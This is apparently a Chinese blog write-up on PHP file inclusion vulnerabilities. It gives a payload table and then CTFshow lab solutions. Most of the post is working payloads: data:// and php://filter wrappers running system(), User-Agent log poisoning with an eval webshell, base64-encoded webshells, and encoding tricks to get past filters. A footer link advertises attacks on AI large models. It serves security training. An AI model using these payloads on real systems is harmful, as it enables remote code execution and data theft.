文件包含&&靶场实现

文件包含漏洞(File Inclusion Vulnerability)是 Web 安全中常见的高危漏洞,主要分为 本地文件包含(LFI)远程文件包含(RFI)

1、典型利用方式

利用方式 示例 Payload 说明
路径遍历 ?page=../../../etc/passwd 读取系统敏感文件
空字节截断 ?page=../../etc/passwd%00 截断后缀(PHP <5.3.4有效)
日志文件注入 ?page=/var/log/apache2/access.log 通过 User-Agent 注入 PHP 代码并包含日志文件
PHP 伪协议 ?page=php://filter/convert.base64-encode/resource=index.php 读取 PHP 源码(Base64 编码)
Session 文件包含 ?page=/tmp/sess_[session_id] 利用 Session 文件注入代码

2、CTFshow靶场演习

web78

代码无过滤,使用data伪协议查看文件,然后输出文件

?file=data://text/plain,<?php system("ls")?>

?file=data://text/plain,<?php system("tac flag.php")?>

web79

本题将php替换???

三种方法

1、<?= ?>用于输出,等同于- <?php echo ; ?>可以直接使用

?file=data://text/plain,<?=system('ls') ?>

得到文件

?file=data://text/plain,<?=system("tac flag.*")?>

使用*模糊查找

得到flag

2、base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #<?php system("ls")?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs= #<?php system("tac flag.php");

得到flag

3、post请求

?file=data://text/plain,<?=eval($_POSTa);?>

a=system("ls");

a=system("tac flag.php");

得到flag

web80

本题php,data过滤

日志文件包含

?file=../../../../var/log/nginx/access.log

在UA头改为 <?php eval($_POSTa); ?>

post请求 a=system("ls");

a=system("tac fl0g.php");

有时候没有第一时间回显需要多发送几次

可以用hackbar执行

也可以用BP执行

web81

本题php,data,:已过滤

不耽误用日志

跟上题一样

?file=../../../../var/log/nginx/access.log

ua <?php eval($_POSTa); ?>

post a=system("ls");

a=system("tac fl0g.php");

得到flag

web87

本题php data : .已过滤,这题有file和content两个传参,而且还将输入进行了一次url解码

php://filter/write=convert.base64-encode/resource=1.php进行url逐字符编码两次

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,

所以最终被解码的字符仅有"phpdie"和我们传入的其他字符phpdie是六个字符所以需要加上aa

因为base64算法解码时是4个byte一组,所以给他增加2个"a"一共8个字符。

这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

#<?php @eval($_POST1);?>

接着执行post请求得到flag

a=system("ls");

a=system("tac fl0g.php");

web88

题目中过滤php和一堆字符,而且设定不区分大小写

使用data协议,base64后的编码不能有/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i"这些

一个字母通常有=,传入参数多加几个字母base后得通常没有过滤字符

data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz5j #<?php @eval($_POST'ccc');?>c

ccc=system("ls");

ccc=system("tac fl0g.php");

得到flag

web116

复制代码
下载视频用binwalk查看文件内容,看到里面有一个png文件分离一下
sudo binwalk -e '/root/Desktop/w5P98-tV.mp4' -D 'png:png' --run-as=root
分离出代码如下

由代码得知存在文件包含

访问?file=flag.php

得到flag

web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:

post传入:contents=?<hp pe@av(l_$EGT1;)>?

/hack.php?1=system('ls');

/hack.php?1=system('tac flag.php');

得到flag

相关推荐
白帽小阳9 小时前
2026前端面试题!(附答案及解析)
javascript·网络·python·安全·web安全·网络安全·护网行动
白帽小阳11 小时前
[特殊字符]【2026最新】零基础入门学网络安全(详细路线图),看这篇就够了!
学习·安全·web安全·网络安全·安全运营·学习路线·web渗透
HackTwoHub17 小时前
AI大模型攻击思路,涵盖提示词劫持、知识库投毒、多语种混淆 + 身份伪装、诱导 AI 输出涉密后台核心配置
人工智能·安全·web安全·网络安全·自动化·系统安全·安全架构
2601_957174651 天前
零基础学网络安全能学好吗
安全·web安全
Chengbei112 天前
VMware Workstation Pro 26H1免费虚拟化利器
运维·安全·web安全·自动化·系统安全·apache·安全架构
云水一下2 天前
DVWA从入门到精通(十八):Cryptography(密码学问题)
web安全·密码学·dvwa
糖果店的幽灵3 天前
安全测试从入门到精通 - 环境搭建与基础工具选择
安全·web安全
云水一下4 天前
DVWA从入门到精通(十七):Open HTTP Redirect(开放重定向)
web安全·dvwa·开放重定向
txg6664 天前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全
Chengbei114 天前
SoloXSS:一款现代化的自托管 XSS平台
人工智能·安全·web安全·网络安全·自动化·xss·安全架构